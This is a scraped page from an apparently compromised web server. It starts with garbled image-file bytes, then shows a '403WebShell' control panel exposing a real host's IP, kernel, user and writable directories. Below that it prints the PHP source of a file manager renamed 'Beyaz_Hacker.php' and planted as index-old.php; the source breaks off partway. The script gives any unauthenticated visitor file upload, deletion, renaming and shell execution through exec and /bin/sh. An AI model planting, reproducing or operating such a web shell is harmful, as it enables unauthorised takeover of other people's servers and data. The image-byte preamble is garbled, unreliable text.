DExifII*E`....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 50.6.201.105  /  Your IP : 18.116.69.198
Web Server : Apache
System : Linux vps-13231541.northidigital.com.br 5.14.0-427.31.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 15 14:47:52 EDT 2024 x86_64
User : novotermaco ( 1059)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/novotermaco/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/novotermaco/public_html//index-old.php
<?php
/*
 * Beyaz_Hacker.php - a simple Web-based file manager
 * Copyright (C) 2004  Daniel Wacker <daniel.wacker@web.de>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.

 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 *
 * -------------------------------------------------------------------------
 * While using this script, do NOT navigate with your browser's back and
 * forward buttons! Always open files in a new browser tab!
 * -------------------------------------------------------------------------
 *
 * This is Version 0.9, revision 10
 * =========================================================================
 *
 * Changes of revision 10
 * <alex-smirnov@web.de>
 *    added Russian translation
 * <daniel.wacker@web.de>
 *    added </td> to achieve valid XHTML (thanks to Marc Magos)
 *    improved delete function
 * <ava@asl.se>
 *    new list order: folders first
 *
 * Changes of revision 9
 * <daniel.wacker@web.de>
 *    added workaround for directory listing, if lstat() is disabled
 *    fixed permisson of uploaded files (thanks to Stephan Duffner)
 *
 * Changes of revision 8
 * <okankan@stud.sdu.edu.tr>
 *    added Turkish translation
 * <j@kub.cz>
 *    added Czech translation
 * <daniel.wacker@web.de>
 *    improved charset handling
 *
 * Changes of revision 7
 * <szuniga@vtr.net>
 *    added Spanish translation
 * <lars@soelgaard.net>
 *    added Danish translation
 * <daniel.wacker@web.de>
 *    improved rename dialog
 *
 * Changes of revision 6
 * <nederkoorn@tiscali.nl>
 *    added Dutch translation
 *
 * Changes of revision 5
 * <daniel.wacker@web.de>
 *    added language auto select
 *    fixed symlinks in directory listing
 *    removed word-wrap in edit textarea
 *
 * Changes of revision 4
 * <daloan@guideo.fr>
 *    added French translation
 * <anders@wiik.cc>
 *    added Swedish translation
 *
 * Changes of revision 3
 * <nzunta@gabriele-erba.it>
 *    improved Italian translation
 *
 * Changes of revision 2
 * <daniel.wacker@web.de>
 *    got images work in some old browsers
 *    fixed creation of directories
 *    fixed files deletion
 *    improved path handling
 *    added missing word 'not_created'
 * <till@tuxen.de>
 *    improved human readability of file sizes
 * <nzunta@gabriele-erba.it>
 *    added Italian translation
 *
 * Changes of revision 1
 * <daniel.wacker@web.de>
 *    Beyaz_Hacker.php completely rewritten:
 *    - clean XHTML/CSS output
 *    - several files selectable
 *    - support for windows servers
 *    - no more treeview, because
 *      - Beyaz_Hacker.php is a >simple< file manager
 *      - performance problems (too much additional code)
 *      - I don't like: frames, java-script, to reload after every treeview-click
 *    - execution of shell scripts
 *    - introduced revision numbers
 *
/* ------------------------------------------------------------------------- */

/* Your language:
 * 'en' - English
 * 'de' - German
 * 'fr' - French
 * 'it' - Italian
 * 'nl' - Dutch
 * 'se' - Swedish
 * 'es' - Spanish
 * 'dk' - Danish
 * 'tr' - Turkish
 * 'cs' - Czech
 * 'ru' - Russian
 * 'auto' - autoselect
 */
$lang = 'auto';

/* Charset of output:
 * possible values are described in the charset table at
 * http://www.php.net/manual/en/function.htmlentities.php
 * 'auto' - use the same charset as the words of my language are encoded
 */
$site_charset = 'auto';

/* Homedir:
 * For example: './' - the script's directory
 */
$homedir = './';

/* Size of the edit textarea
 */
$editcols = 80;
$editrows = 25;

/* -------------------------------------------
 * Optional configuration (remove # to enable)
 */

/* Permission of created directories:
 * For example: 0705 would be 'drwx---r-x'.
 */
# $dirpermission = 0705;

/* Permission of created files:
 * For example: 0604 would be '-rw----r--'.
 */
# $filepermission = 0604;

/* Filenames related to the apache web server:
 */
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';

/* ------------------------------------------------------------------------- */

if (get_magic_quotes_gpc()) {
	array_walk($_GET, 'strip');
	array_walk($_POST, 'strip');
	array_walk($_REQUEST, 'strip');
}

if (array_key_exists('image', $_GET)) {
	header('Content-Type: image/gif');
	die(getimage($_GET['image']));
}

if (!function_exists('lstat')) {
	function lstat ($filename) {
		return stat($filename);
	}
}

$delim = DIRECTORY_SEPARATOR;

if (function_exists('php_uname')) {
	$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
} else {
	$win = ($delim == '\\') ? true : false;
}

if (!empty($_SERVER['PATH_TRANSLATED'])) {
	$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
	$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
	$scriptdir = getcwd();
} else {
	$scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);

$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;

if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
	$dir = relative2absolute($dir, $_POST['olddir']);
}

$directory = simplify_path(addslash($dir));

$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
	$action = $_POST['action_all'];
	for ($i = 0; $i < $_POST['num']; $i++) {
		if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
			$files[] = $_POST["file$i"];
		}
	}
} elseif (!empty($_REQUEST['action'])) {
	$action = $_REQUEST['action'];
	$files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
	$files[] = $_FILES['upload'];
	$action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
	for ($i = 0; $i < $_POST['num']; $i++) {
		if (array_key_exists("submit$i", $_POST)) break;
	}
	if ($i < $_POST['num']) {
		$action = $_POST["action$i"];
		$files[] = $_POST["file$i"];
	}
}
if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
	$files[] = relative2absolute($_POST['create_name'], $directory);
	switch ($_POST['create_type']) {
	case 'directory':
		$action = 'create_directory';
		break;
	case 'file':
		$action = 'create_file';
	}
}
if (sizeof($files) == 0) $action = ''; else $file = reset($files);

if ($lang == 'auto') {
	if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
		$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
	} else {
		$lang = 'en';
	}
}

$words = getwords($lang);

if ($site_charset == 'auto') {
	$site_charset = $word_charset;
}

$cols = ($win) ? 4 : 7;

if (!isset($dirpermission)) {
	$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
}
if (!isset($filepermission)) {
	$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
}

if (!empty($_SERVER['SCRIPT_NAME'])) {
	$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
	$self = html(basename($_SERVER['PHP_SELF']));
} else {
	$self = '';
}

if (!empty($_SERVER['SERVER_SOFTWARE'])) {
	if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
		$apache = true;
	} else {
		$apache = false;
	}
} else {
	$apache = true;
}

switch ($action) {

case 'view':

	if (is_script($file)) {

		/* highlight_file is a mess! */
		ob_start();
		highlight_file($file);
		$src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
		$src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
		ob_end_clean();

		html_header();
		echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>

<hr />

<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';

		for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";

		echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>

';

		html_footer();

	} else {

		header('Content-Type: ' . getmimetype($file));
		header('Content-Disposition: filename=' . basename($file));

		readfile($file);

	}

	break;

case 'download':

	header('Pragma: public');
	header('Expires: 0');
	header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
	header('Content-Type: ' . getmimetype($file));
	header('Content-Disposition: attachment; filename=' . basename($file) . ';');
	header('Content-Length: ' . filesize($file));

	readfile($file);

	break;

case 'upload':

	$dest = relative2absolute($file['name'], $directory);

	if (@file_exists($dest)) {
		listing_page(error('already_exists', $dest));
	} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
		@chmod($dest, $filepermission);
		listing_page(notice('uploaded', $file['name']));
	} else {
		listing_page(error('not_uploaded', $file['name']));
	}

	break;

case 'create_directory':

	if (@file_exists($file)) {
		listing_page(error('already_exists', $file));
	} else {
		$old = @umask(0777 & ~$dirpermission);
		if (@mkdir($file, $dirpermission)) {
			listing_page(notice('created', $file));
		} else {
			listing_page(error('not_created', $file));
		}
		@umask($old);
	}

	break;

case 'create_file':

	if (@file_exists($file)) {
		listing_page(error('already_exists', $file));
	} else {
		$old = @umask(0777 & ~$filepermission);
		if (@touch($file)) {
			edit($file);
		} else {
			listing_page(error('not_created', $file));
		}
		@umask($old);
	}

	break;

case 'execute':

	chdir(dirname($file));

	$output = array();
	$retval = 0;
	exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);

	$error = ($retval == 0) ? false : true;

	if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');

	if ($error) {
		listing_page(error('not_executed', $file, implode("\n", $output)));
	} else {
		listing_page(notice('executed', $file, implode("\n", $output)));
	}

	break;

case 'delete':

	if (!empty($_POST['no'])) {
		listing_page();
	} elseif (!empty($_POST['yes'])) {

		$failure = array();
		$success = array();

		foreach ($files as $file) {
			if (del($file)) {
				$success[] = $file;
			} else {
				$failure[] = $file;
			}
		}

		$message = '';
		if (sizeof($failure) > 0) {
			$message = error('not_deleted', implode("\n", $failure));
		}
		if (sizeof($success) > 0) {
			$message .= notice('deleted', implode("\n", $success));
		}

		listing_page($message);

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\t<b>" . word('really_delete') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
	<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>

';

		html_footer();

	}

	break;

case 'rename':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (!@file_exists($dest) && @rename($file, $dest)) {
			listing_page(notice('renamed', $file, $dest));
		} else {
			listing_page(error('not_renamed', $file, $dest));
		}

	} else {

		$name = basename($file);

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
	<input type="hidden" name="action" value="rename" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<b>' . word('rename_file') . '</b>
	<p>' . html($file) . '</p>
	<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
	<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
	<hr />
	<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'move':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		$failure = array();
		$success = array();

		foreach ($files as $file) {
			$filename = substr($file, strlen($directory));
			$d = $dest . $filename;
			if (!@file_exists($d) && @rename($file, $d)) {
				$success[] = $file;
			} else {
				$failure[] = $file;
			}
		}

		$message = '';
		if (sizeof($failure) > 0) {
			$message = error('not_moved', implode("\n", $failure), $dest);
		}
		if (sizeof($success) > 0) {
			$message .= notice('moved', implode("\n", $success), $dest);
		}

		listing_page($message);

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\t<b>" . word('move_files') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'copy':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (@is_dir($dest)) {

			$failure = array();
			$success = array();

			foreach ($files as $file) {
				$filename = substr($file, strlen($directory));
				$d = addslash($dest) . $filename;
				if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
					$success[] = $file;
				} else {
					$failure[] = $file;
				}
			}

			$message = '';
			if (sizeof($failure) > 0) {
				$message = error('not_copied', implode("\n", $failure), $dest);
			}
			if (sizeof($success) > 0) {
				$message .= notice('copied', implode("\n", $success), $dest);
			}

			listing_page($message);

		} else {

			if (!@file_exists($dest) && @copy($file, $dest)) {
				listing_page(notice('copied', $file, $dest));
			} else {
				listing_page(error('not_copied', $file, $dest));
			}

		}

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\n<b>" . word('copy_files') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'create_symlink':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (substr($dest, -1, 1) == $delim) $dest .= basename($file);

		if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);

		if (!@file_exists($dest) && @symlink($file, $dest)) {
			listing_page(notice('symlinked', $file, $dest));
		} else {
			listing_page(error('not_symlinked', $file, $dest));
		}

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog" id="symlink">
<tr>
	<td style="vertical-align: top">' . word('destination') . ': </td>
	<td>
		<b>' . html($file) . '</b><br />
